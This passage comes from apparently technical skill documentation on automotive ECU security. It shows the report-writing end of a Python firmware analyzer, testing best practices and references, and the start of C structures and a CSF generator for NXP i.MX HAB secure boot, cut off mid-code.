            f.write(f"Firmware: {os.path.basename(self.firmware_path)}\n")
            f.write(f"Total findings: {len(self.findings)}\n\n")

            # Group by severity
            critical = [f for f in self.findings if f.get('severity') == 'CRITICAL']
            high = [f for f in self.findings if f.get('severity') == 'HIGH']
            medium = [f for f in self.findings if f.get('severity') == 'MEDIUM']

            f.write(f"Critical: {len(critical)}\n")
            f.write(f"High: {len(high)}\n")
            f.write(f"Medium: {len(medium)}\n\n")

            f.write("Findings:\n")
            for finding in self.findings:
                f.write(f"\n[{finding.get('severity', 'INFO')}] ")
                f.write(f"{finding.get('issue', finding.get('category'))}\n")
                if 'remediation' in finding:
                    f.write(f"  Remediation: {finding['remediation']}\n")

        print(f"\n[INFO] Report generated: {output_file}")

# Example usage
def demo_firmware_analysis():
    analyzer = FirmwareAnalyzer('/tmp/ecu_firmware.elf')

    analyzer.extract_strings()
    analyzer.check_security_features()
    analyzer.find_hardcoded_keys()
    analyzer.check_known_vulnerabilities()
    analyzer.disassemble_entry_point()

    analyzer.generate_report('/tmp/firmware_security_report.txt')

if __name__ == "__main__":
    demo_firmware_analysis()

Best Practices

1. Scope & Authorization: Always obtain written permission before testing
2. Test Environment: Use isolated test bench, never production vehicles
3. Documentation: Record all findings with PoC code and remediation guidance
4. Responsible Disclosure: Follow 90-day disclosure timeline per ISO 21434
5. Tool Validation: Verify tools don't cause permanent damage to ECUs

References

• OWASP Automotive Security Testing Guide
• SAE J3061: Cybersecurity Guidebook for Cyber-Physical Vehicle Systems
• Charlie Miller & Chris Valasek: Car Hacking Research Papers
• NHTSA Cybersecurity Best Practices for Modern Vehicles

---

Secure Boot Chain

Secure Boot Chain Skill

Overview

Expert skill for implementing secure boot architectures in automotive ECUs. Covers root of trust establishment, chain of trust verification, HAB (High Assurance Boot), signature verification, anti-rollback protection, secure firmware updates, and TPM/HSM integration.

Core Competencies

Secure Boot Architecture

• Root of Trust (RoT): Immutable boot ROM, hardware-backed trust anchor
• Chain of Trust: Bootloader → OS kernel → Applications
• Signature Verification: RSA-4096/ECDSA-P384 cryptographic validation
• Anti-Rollback: Version monotonic counters, secure storage
• Secure Updates: Dual-bank firmware, atomic updates, rollback capability
• HSM Integration: Hardware Security Module for key storage and crypto operations

Platform Support

• NXP i.MX: HAB (High Assurance Boot), CAAM crypto accelerator
• Renesas R-Car: Secure boot with PKCS#7 signatures
• Infineon AURIX: UCB (User Configuration Block), HSM firmware
• STM32MP1: Secure Boot with OTP fuses, ECDSA support
• ARM TrustZone: Secure world execution, OP-TEE integration

NXP i.MX HAB Secure Boot Implementation

HAB Architecture

/*
 * NXP i.MX HAB (High Assurance Boot) Implementation
 * Secure boot flow: Boot ROM → SPL → U-Boot → Linux Kernel
 */

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <openssl/sha.h>
#include <openssl/rsa.h>
#include <openssl/pem.h>

/* HAB CSF (Command Sequence File) Structure */
#define HAB_TAG_IVT 0xD1
#define HAB_TAG_DCD 0xD2
#define HAB_TAG_CSF 0xD4

#define HAB_CMD_INSTALL_KEY    0xBE
#define HAB_CMD_AUTHENTICATE   0xDA
#define HAB_CMD_SET_ENGINE     0xAF

typedef struct {
    uint8_t tag;
    uint16_t length;
    uint8_t version;
} hab_header_t;

typedef struct {
    hab_header_t header;
    uint32_t entry;
    uint32_t reserved1;
    uint32_t dcd;
    uint32_t boot_data;
    uint32_t self;
    uint32_t csf;
    uint32_t reserved2;
} hab_ivt_t;

typedef struct {
    hab_header_t header;
    uint8_t flags;
    uint16_t key_index;
    uint32_t pcl;          /* Protocol */
    uint32_t alg;          /* Algorithm */
    uint32_t sig_format;   /* Signature format */
    uint32_t cert_format;  /* Certificate format */
} hab_install_key_cmd_t;

typedef struct {
    hab_header_t header;
    uint8_t flags;
    uint16_t key_index;
    uint32_t pcl;
    uint32_t eng_cfg;      /* Engine configuration */
    uint32_t alg;
    uint32_t sig_blk;      /* Signature block address */
} hab_authenticate_cmd_t;

/**
 * Generate HAB CSF binary for secure boot
 * CSF contains public keys and authentication commands
 */
int hab_generate_csf(const char *srk_table, const char *csf_data,
                     const char *img_hash, const char *output_csf) {
    FILE *fp;
    hab_header_t csf_header = {
        .tag = HAB_TAG_CSF,
        .length = 0,  // Will be updated
        .version = 0x40
    };

    fp = fopen(output_csf, "wb");
    if (!fp) {
        fprintf(stderr, "Failed to create CSF file\n");
        return -1;
    }

    // Write CSF header
    fwrite(&csf_header, sizeof(csf_header), 1, fp);

    // Install SRK (Super Root Key)
    hab_install_key_cmd_t install_srk = {